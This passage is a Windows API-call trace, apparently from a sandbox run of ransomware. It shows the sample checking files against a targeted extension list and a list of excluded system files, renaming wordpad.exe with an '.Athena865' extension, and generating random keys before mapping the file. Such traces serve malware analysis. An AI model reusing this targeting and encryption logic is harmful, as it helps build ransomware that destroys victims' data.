(lpString1="ad.exe", lpString2="nrmlib") returned -1 [0096.510] lstrlenW (lpString="ns2") returned 3 [0096.510] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0096.510] lstrlenW (lpString="ns3") returned 3 [0096.510] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0096.510] lstrlenW (lpString="ns4") returned 3 [0096.510] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0096.510] lstrlenW (lpString="nsf") returned 3 [0096.510] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0096.510] lstrlenW (lpString="nv") returned 2 [0096.510] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0096.510] lstrlenW (lpString="nv2") returned 3 [0096.510] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0096.510] lstrlenW (lpString="nwdb") returned 4 [0096.510] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0096.510] lstrlenW (lpString="nyf") returned 3 [0096.510] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0096.510] lstrlenW (lpString="odb") returned 3 [0096.510] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0096.510] lstrlenW (lpString="odb") returned 3 [0096.510] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0096.510] lstrlenW (lpString="oqy") returned 3 [0096.510] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0096.510] lstrlenW (lpString="ora") returned 3 [0096.510] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0096.510] lstrlenW (lpString="orx") returned 3 [0096.510] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0096.511] lstrlenW (lpString="owc") returned 3 [0096.511] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0096.511] lstrlenW (lpString="p96") returned 3 [0096.511] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0096.511] lstrlenW (lpString="p97") returned 3 [0096.511] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0096.511] lstrlenW (lpString="pan") returned 3 [0096.511] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0096.511] lstrlenW (lpString="pdb") returned 3 [0096.511] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0096.511] lstrlenW (lpString="pdm") returned 3 [0096.511] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0096.511] lstrlenW (lpString="pnz") returned 3 [0096.511] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0096.511] lstrlenW (lpString="qry") returned 3 [0096.511] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0096.511] lstrlenW (lpString="qvd") returned 3 [0096.511] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0096.511] lstrlenW (lpString="rbf") returned 3 [0096.511] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0096.511] lstrlenW (lpString="rctd") returned 4 [0096.511] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0096.511] lstrlenW (lpString="rod") returned 3 [0096.511] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0096.511] lstrlenW (lpString="rodx") returned 4 [0096.511] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0096.511] lstrlenW (lpString="rpd") returned 3 [0096.511] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0096.511] lstrlenW (lpString="rsd") returned 3 [0096.511] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0096.511] lstrlenW (lpString="sas7bdat") returned 8 [0096.512] lstrcmpiW (lpString1="dpad.exe", lpString2="sas7bdat") returned -1 [0096.512] lstrlenW (lpString="sbf") returned 3 [0096.512] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0096.512] lstrlenW (lpString="scx") returned 3 [0096.512] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0096.512] lstrlenW (lpString="sdb") returned 3 [0096.512] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0096.512] lstrlenW (lpString="sdc") returned 3 [0096.512] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0096.512] lstrlenW (lpString="sdf") returned 3 [0096.512] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0096.512] lstrlenW (lpString="sis") returned 3 [0096.512] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0096.512] lstrlenW (lpString="spq") returned 3 [0096.512] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0096.512] lstrlenW (lpString="te") returned 2 [0096.512] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0096.512] lstrlenW (lpString="teacher") returned 7 [0096.512] lstrcmpiW (lpString1="pad.exe", lpString2="teacher") returned -1 [0096.512] lstrlenW (lpString="tmd") returned 3 [0096.512] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0096.512] lstrlenW (lpString="tps") returned 3 [0096.512] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0096.512] lstrlenW (lpString="trc") returned 3 [0096.512] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0096.512] lstrlenW (lpString="trc") returned 3 [0096.512] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0096.512] lstrlenW (lpString="trm") returned 3 [0096.512] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0096.512] lstrlenW (lpString="udb") returned 3 [0096.512] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0096.512] lstrlenW (lpString="udl") returned 3 [0096.513] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0096.513] lstrlenW (lpString="usr") returned 3 [0096.513] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0096.513] lstrlenW (lpString="v12") returned 3 [0096.513] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0096.513] lstrlenW (lpString="vis") returned 3 [0096.513] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0096.513] lstrlenW (lpString="vpd") returned 3 [0096.513] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0096.513] lstrlenW (lpString="vvv") returned 3 [0096.513] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0096.513] lstrlenW (lpString="wdb") returned 3 [0096.513] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0096.513] lstrlenW (lpString="wmdb") returned 4 [0096.513] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0096.513] lstrlenW (lpString="wrk") returned 3 [0096.513] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0096.513] lstrlenW (lpString="xdb") returned 3 [0096.513] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0096.513] lstrlenW (lpString="xld") returned 3 [0096.513] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0096.513] lstrlenW (lpString="xmlff") returned 5 [0096.513] lstrcmpiW (lpString1="d.exe", lpString2="xmlff") returned -1 [0096.513] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe.Athena865") returned 67 [0096.513] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe" (normalized: "c:\\program files (x86)\\windows nt\\accessories\\wordpad.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe.Athena865" (normalized: "c:\\program files (x86)\\windows nt\\accessories\\wordpad.exe.athena865"), dwFlags=0x1) returned 1 [0096.514] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe.Athena865" (normalized: "c:\\program files (x86)\\windows nt\\accessories\\wordpad.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0096.514] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4247040) returned 1 [0096.514] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0096.514] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0096.514] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0096.515] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0096.515] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0096.515] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.516] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x40d100, lpName=0x0) returned 0x154 [0096.518] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0xd100) returned 0x100000 [0096.521] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0096.619] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0096.637] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0096.637] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0096.638] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.638] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0096.638] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0096.638] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0096.638] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0096.638] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0096.638] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0096.639] CloseHandle (hObject=0x154) returned 1 [0096.639] CloseHandle (hObject=0x17c) returned 1 [0096.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0096.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0096.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0096.647] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe46e7c7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xbe46e7c7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb1b193f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2f800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WordpadFilter.dll", cAlternateFileName="")) returned 1 [0096.647] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0096.647] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0096.647] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2=".") returned 1 [0096.647] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="..") returned 1 [0096.647] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="windows") returned 1 [0096.647] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="bootmgr") returned 1 [0096.647] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="temp") returned 1 [0096.647] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="pagefile.sys") returned 1 [0096.648] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="boot") returned 1 [0096.648] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="ids.txt") returned 1 [0096.648] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="ntuser.dat") returned 1 [0096.648] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="perflogs") returned 1 [0096.648] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="MSBuild") returned 1 [0096.648] lstrlenW (lpString="WordpadFilter.dll") returned 17 [0096.648] lstrcpyW (in: lpString1=0x241e8a4, lpString2="WordpadFilter.dll" | out: lpString1="WordpadFilter.dll") returned="WordpadFilter.dll" [0096.648] lstrlenW (lpString="WordpadFilter.dll") returned 17 [0096.648] lstrlenW (lpString="Athena865") returned 9 [0096.648] lstrcmpiW (lpString1="ilter.dll", lpString2="Athena865") returned 1 [0096.648] lstrlenW (lpString=".dll") returned 4 [0096.648] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2=".dll") returned 1 [0096.648] lstrlenW (lpString=".lnk") returned 4 [0096.648] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2=".lnk") returned 1 [0096.648] lstrlenW (lpString=".ini") returned 4 [0096.648] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2=".ini") returned 1 [0096.648] lstrlenW (lpString=".sys") returned 4 [0096.648] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2=".sys") returned 1 [0096.648] lstrlenW (lpString="WordpadFilter.dll") returned 17 [0096.648] lstrlenW (lpString="bak") returned 3 [0096.648] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0096.648] lstrlenW (lpString="ba_") returned 3 [0096.648] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0096.648] lstrlenW (lpString="dbb") returned 3 [0096.648] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0096.648] lstrlenW (lpString="vmdk") returned 4 [0096.648] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0096.648] lstrlenW (lpString="rar") returned 3 [0096.648] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0096.648] lstrlenW (lpString="zip") returned 3 [0096.648] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0096.648] lstrlenW (lpString="tgz") returned 3 [0096.649] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0096.649] lstrlenW (lpString="vbox") returned 4 [0096.649] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0096.649] lstrlenW (lpString="vdi") returned 3 [0096.649] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0096.649] lstrlenW (lpString="vhd") returned 3 [0096.649] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0096.649] lstrlenW (lpString="vhdx") returned 4 [0096.649] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0096.649] lstrlenW (lpString="avhd") returned 4 [0096.649] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0096.649] lstrlenW (lpString="db") returned 2 [0096.649] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0096.649] lstrlenW (lpString="db2") returned 3 [0096.649] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0096.649] lstrlenW (lpString="db3") returned 3 [0096.649] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0096.649] lstrlenW (lpString="dbf") returned 3 [0096.649] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0096.649] lstrlenW (lpString="mdf") returned 3 [0096.649] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0096.649] lstrlenW (lpString="mdb") returned 3 [0096.649] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0096.649] lstrlenW (lpString="sql") returned 3 [0096.649] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0096.649] lstrlenW (lpString="sqlite") returned 6 [0096.649] lstrcmpiW (lpString1="er.dll", lpString2="sqlite") returned -1 [0096.649] lstrlenW (lpString="sqlite3") returned 7 [0096.649] lstrcmpiW (lpString1="ter.dll", lpString2="sqlite3") returned 1 [0096.649] lstrlenW (lpString="sqlitedb") returned 8 [0096.649] lstrcmpiW (lpString1="lter.dll", lpString2="sqlitedb") returned -1 [0096.649] lstrlenW (lpString="xml") returned 3 [0096.649] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0096.650] lstrlenW (lpString="$er") returned 3 [0096.650] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0096.650] lstrlenW (lpString="4dd") returned 3 [0096.650] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0096.650] lstrlenW (lpString="4dl") returned 3 [0096.650] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0096.650] lstrlenW (lpString="^^^") returned 3 [0096.650] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0096.650] lstrlenW (lpString="abs") returned 3 [0096.650] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0096.650] lstrlenW (lpString="abx") returned 3 [0096.650] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0096.650] lstrlenW (lpString="accdb") returned 5 [0096.650] lstrcmpiW (lpString1="r.dll", lpString2="accdb") returned 1 [0096.650] lstrlenW (lpString="accdc") returned 5 [0096.650] lstrcmpiW (lpString1="r.dll", lpString2="accdc") returned 1 [0096.650] lstrlenW (lpString="accde") returned 5 [0096.650] lstrcmpiW (lpString1="r.dll", lpString2="accde") returned 1 [0096.650] lstrlenW (lpString="accdr") returned 5 [0096.650] lstrcmpiW (lpString1="r.dll", lpString2="accdr") returned 1 [0096.650] lstrlenW (lpString="accdt") returned 5 [0096.650] lstrcmpiW (lpString1="r.dll", lpString2="accdt") returned 1 [0096.650] lstrlenW (lpString="accdw") returned 5 [0096.650] lstrcmpiW (lpString1="r.dll", lpString2="accdw") returned 1 [0096.650] lstrlenW (lpString="accft") returned 5 [0096.650] lstrcmpiW (lpString1="r.dll", lpString2="accft") returned 1 [0096.650] lstrlenW (lpString="adb") returned 3 [0096.650] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0096.650] lstrlenW (lpString="adb") returned 3 [0096.650] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0096.650] lstrlenW (lpString="ade") returned 3 [0096.650] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0096.650] lstrlenW (lpString="adf") returned 3 [0096.651] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0096.651] lstrlenW (lpString="adn") returned 3 [0096.651] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0096.651] lstrlenW (lpString="adp") returned 3 [0096.651] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0096.651] lstrlenW (lpString="alf") returned 3 [0096.651] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0096.651] lstrlenW (lpString="ask") returned 3 [0096.651] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0096.651] lstrlenW (lpString="btr") returned 3 [0096.651] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0096.651] lstrlenW (lpString="cat") returned 3 [0096.651] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0096.651] lstrlenW (lpString="cdb") returned 3 [0096.651] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0096.651] lstrlenW (lpString="ckp") returned 3 [0096.651] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0096.651] lstrlenW (lpString="cma") returned 3 [0096.651] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0096.651] lstrlenW (lpString="cpd") returned 3 [0096.651] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0096.651] lstrlenW (lpString="dacpac") returned 6 [0096.651] lstrcmpiW (lpString1="er.dll", lpString2="dacpac") returned 1 [0096.651] lstrlenW (lpString="dad") returned 3 [0096.651] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0096.651] lstrlenW (lpString="dadiagrams") returned 10 [0096.651] lstrcmpiW (lpString1="Filter.dll", lpString2="dadiagrams") returned 1 [0096.651] lstrlenW (lpString="daschema") returned 8 [0096.651] lstrcmpiW (lpString1="lter.dll", lpString2="daschema") returned 1 [0096.651] lstrlenW (lpString="db-journal") returned 10 [0096.651] lstrcmpiW (lpString1="Filter.dll", lpString2="db-journal") returned 1 [0096.651] lstrlenW (lpString="db-shm") returned 6 [0096.652] lstrcmpiW (lpString1="er.dll", lpString2="db-shm") returned 1 [0096.652] lstrlenW (lpString="db-wal") returned 6 [0096.652] lstrcmpiW (lpString1="er.dll", lpString2="db-wal") returned 1 [0096.652] lstrlenW (lpString="dbc") returned 3 [0096.652] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0096.652] lstrlenW (lpString="dbs") returned 3 [0096.652] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0096.652] lstrlenW (lpString="dbt") returned 3 [0096.652] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0096.652] lstrlenW (lpString="dbv") returned 3 [0096.652] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0096.652] lstrlenW (lpString="dbx") returned 3 [0096.652] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0096.652] lstrlenW (lpString="dcb") returned 3 [0096.652] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0096.652] lstrlenW (lpString="dct") returned 3 [0096.652] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0096.652] lstrlenW (lpString="dcx") returned 3 [0096.652] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0096.652] lstrlenW (lpString="ddl") returned 3 [0096.652] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0096.652] lstrlenW (lpString="dlis") returned 4 [0096.652] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0096.652] lstrlenW (lpString="dp1") returned 3 [0096.652] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0096.652] lstrlenW (lpString="dqy") returned 3 [0096.652] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0096.652] lstrlenW (lpString="dsk") returned 3 [0096.652] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0096.652] lstrlenW (lpString="dsn") returned 3 [0096.652] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0096.652] lstrlenW (lpString="dtsx") returned 4 [0096.652] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0096.653] lstrlenW (lpString="dxl") returned 3 [0096.653] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0096.653] lstrlenW (lpString="eco") returned 3 [0096.653] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0096.653] lstrlenW (lpString="ecx") returned 3 [0096.653] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0096.653] lstrlenW (lpString="edb") returned 3 [0096.653] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0096.653] lstrlenW (lpString="epim") returned 4 [0096.653] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0096.653] lstrlenW (lpString="fcd") returned 3 [0096.653] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0096.653] lstrlenW (lpString="fdb") returned 3 [0096.653] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0096.653] lstrlenW (lpString="fic") returned 3 [0096.653] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0096.653] lstrlenW (lpString="flexolibrary") returned 12 [0096.653] lstrcmpiW (lpString1="adFilter.dll", lpString2="flexolibrary") returned -1 [0096.653] lstrlenW (lpString="fm5") returned 3 [0096.653] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0096.653] lstrlenW (lpString="fmp") returned 3 [0096.653] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0096.653] lstrlenW (lpString="fmp12") returned 5 [0096.653] lstrcmpiW (lpString1="r.dll", lpString2="fmp12") returned 1 [0096.653] lstrlenW (lpString="fmpsl") returned 5 [0096.653] lstrcmpiW (lpString1="r.dll", lpString2="fmpsl") returned 1 [0096.653] lstrlenW (lpString="fol") returned 3 [0096.653] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0096.653] lstrlenW (lpString="fp3") returned 3 [0096.653] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0096.653] lstrlenW (lpString="fp4") returned 3 [0096.653] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0096.654] lstrlenW (lpString="fp5") returned 3 [0096.654] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0096.654] lstrlenW (lpString="fp7") returned 3 [0096.654] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0096.654] lstrlenW (lpString="fpt") returned 3 [0096.654] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0096.654] lstrlenW (lpString="frm") returned 3 [0096.654] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0096.654] lstrlenW (lpString="gdb") returned 3 [0096.654] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0096.654] lstrlenW (lpString="gdb") returned 3 [0096.654] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0096.654] lstrlenW (lpString="grdb") returned 4 [0096.654] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0096.654] lstrlenW (lpString="gwi") returned 3 [0096.654] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0096.654] lstrlenW (lpString="hdb") returned 3 [0096.654] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0096.654] lstrlenW (lpString="his") returned 3 [0096.654] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0096.654] lstrlenW (lpString="ib") returned 2 [0096.654] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0096.654] lstrlenW (lpString="idb") returned 3 [0096.654] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0096.654] lstrlenW (lpString="ihx") returned 3 [0096.654] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0096.654] lstrlenW (lpString="itdb") returned 4 [0096.654] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0096.654] lstrlenW (lpString="itw") returned 3 [0096.654] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0096.654] lstrlenW (lpString="jet") returned 3 [0096.654] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0096.655] lstrlenW (lpString="jtx") returned 3 [0096.655] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0096.655] lstrlenW (lpString="kdb") returned 3 [0096.655] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0096.655] lstrlenW (lpString="kexi") returned 4 [0096.655] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0096.655] lstrlenW (lpString="kexic") returned 5 [0096.655] lstrcmpiW (lpString1="r.dll", lpString2="kexic") returned 1 [0096.655] lstrlenW (lpString="kexis") returned 5 [0096.655] lstrcmpiW (lpString1="r.dll", lpString2="kexis") returned 1 [0096.655] lstrlenW (lpString="lgc") returned 3 [0096.655] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0096.655] lstrlenW (lpString="lwx") returned 3 [0096.655] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0096.655] lstrlenW (lpString="maf") returned 3 [0096.655] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0096.655] lstrlenW (lpString="maq") returned 3 [0096.655] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0096.655] lstrlenW (lpString="mar") returned 3 [0096.655] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0096.655] lstrlenW (lpString="marshal") returned 7 [0096.655] lstrcmpiW (lpString1="ter.dll", lpString2="marshal") returned 1 [0096.655] lstrlenW (lpString="mas") returned 3 [0096.655] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0096.655] lstrlenW (lpString="mav") returned 3 [0096.655] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0096.655] lstrlenW (lpString="maw") returned 3 [0096.655] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0096.655] lstrlenW (lpString="mdbhtml") returned 7 [0096.655] lstrcmpiW (lpString1="ter.dll", lpString2="mdbhtml") returned 1 [0096.655] lstrlenW (lpString="mdn") returned 3 [0096.655] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0096.655] lstrlenW (lpString="mdt") returned 3 [0096.656] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0096.656] lstrlenW (lpString="mfd") returned 3 [0096.656] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0096.656] lstrlenW (lpString="mpd") returned 3 [0096.656] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0096.656] lstrlenW (lpString="mrg") returned 3 [0096.656] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0096.656] lstrlenW (lpString="mud") returned 3 [0096.656] 